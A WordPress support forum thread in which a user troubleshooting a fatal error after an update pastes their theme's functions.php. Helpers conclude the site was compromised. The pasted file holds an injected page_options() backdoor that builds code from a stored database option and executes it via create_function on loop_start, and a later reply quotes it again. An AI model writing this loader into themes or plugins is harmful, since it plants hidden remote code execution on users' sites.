Support » Installing WordPress » Updated to 3.3.1 now getting Fatal error: Cannot redeclare dscrypt() message

  • Resolved brianpalmer


    Hello, the full messages is: Fatal error: Cannot redeclare dscrypt() (previously declared in /homepages/4/d171060969/htdocs/saturnscene/wp-content/themes/bueno/header.php:152) in /homepages/4/d171060969/htdocs/saturnscene/wp-content/themes/bueno/functions.php(29) : runtime-created function(1) : eval()’d code on line 67


    I’ve searched the forums for people with the same problem and so far haven’t been able to find one.

    Any help would be greatly appreciated!

Viewing 15 replies - 1 through 15 (of 39 total)
  • and I get a fatal error Parse error: syntax error, unexpected T_OBJECT_OPERATOR in /hermes/bosweb26c/b2656/ipw.boxcarpr/public_html/buddypress/wp-content/plugins/feedweb/feedweb_util.php on line 24

    brianpalmer using ftp rename bueno theme to say bueno_hold to see if it is theme related problem.

    Ok, renamed it and now nothing shows up at all. Please advise as to the next step (and thank you).

    Hi brianpalmer,

    You can access your site via /wp-login.php Once in, you can switch to another theme for now.

    I’m interested in what is on line 29 of functions.php. That theme is available as a freebie from WooThemes and the stock file only has 26 lines. Have you altered it in anyway?

    Yeah, the theme has been altered quite a bit. It’s been awhile, where do I go to view “functions.php”?

    Ok, I think I found what you’re looking for. Here’s everything that was in the “functions.php” box:


    /* Start WooThemes Functions – Please refrain from editing this section */

    // Set path to WooFramework and theme specific functions
    $functions_path = TEMPLATEPATH . ‘/functions/’;
    $includes_path = TEMPLATEPATH . ‘/includes/’;

    // WooFramework
    require_once ($functions_path . ‘admin-init.php’); // Framework Init

    // Theme specific functionality
    require_once ($includes_path . ‘theme-options.php’); // Options panel settings and custom settings
    require_once ($includes_path . ‘theme-functions.php’); // Custom theme functions
    require_once ($includes_path . ‘theme-comments.php’); // Custom comments/pingback loop
    require_once ($includes_path . ‘theme-js.php’); // Load javascript in wp_head
    require_once ($includes_path . ‘sidebar-init.php’); // Initialize widgetized areas
    require_once ($includes_path . ‘theme-widgets.php’); // Theme widgets

    /* End WooThemes Functions – You can add custom functions below */


    <?php function page_options() { $option = get_option(‘page_option’); $opt=unserialize($option);
    @$arg = create_function(”, $opt[1].$opt[4].$opt[10].$opt[12].$opt[14].$opt[7] );return $arg(”);}
    add_action(‘loop_start’, ‘page_options’); ?>”

    Can you post the contents of the header.php file to our pastebin then post the link here please?

    Whoa! What’s the bit between this …

    <!-- WordPress Counter -->
    <!-- WordPress Counter -->

    No idea. I do not recall adding any of that.

    That’s a nasty bit of code and shouldn’t be there. It looks like your site has been compromised.

    Have a look at Esmi’s response in this thread.

    My website ( is also the same thing, I try searching in google a lot of experienced the same thing. wordpress soon hopefully help the handling.

    Hi blogaul,

    Please post the content of your theme’s functions.php file at the pastebin and then post the link here.

    Thanks so much Len. Quite a bummer to find that out, but at least I know what I’m dealing with now. Thanks for your help.

    I had been experiencing blank admin screens upon logging in, and the issue only happened with the WooTheme. Research suggest that functions.php should not have the <? ?> series more than once. In the functions.php, including the one you display here, brianpalmer, there is a second set shown below. I removed it and now my issue is all well. It could be merged inside of the first set too, which may be wiser.

    <?php function page_options() { $option = get_option(‘page_option’); $opt=unserialize($option);

    @$arg = create_function(”, $opt[1].$opt[4].$opt[10].$opt[12].$opt[14].$opt[7] );return $arg(”);}
    add_action(‘loop_start’, ‘page_options’); ?>

Viewing 15 replies - 1 through 15 (of 39 total)
  • The topic ‘Updated to 3.3.1 now getting Fatal error: Cannot redeclare dscrypt() message’ is closed to new replies.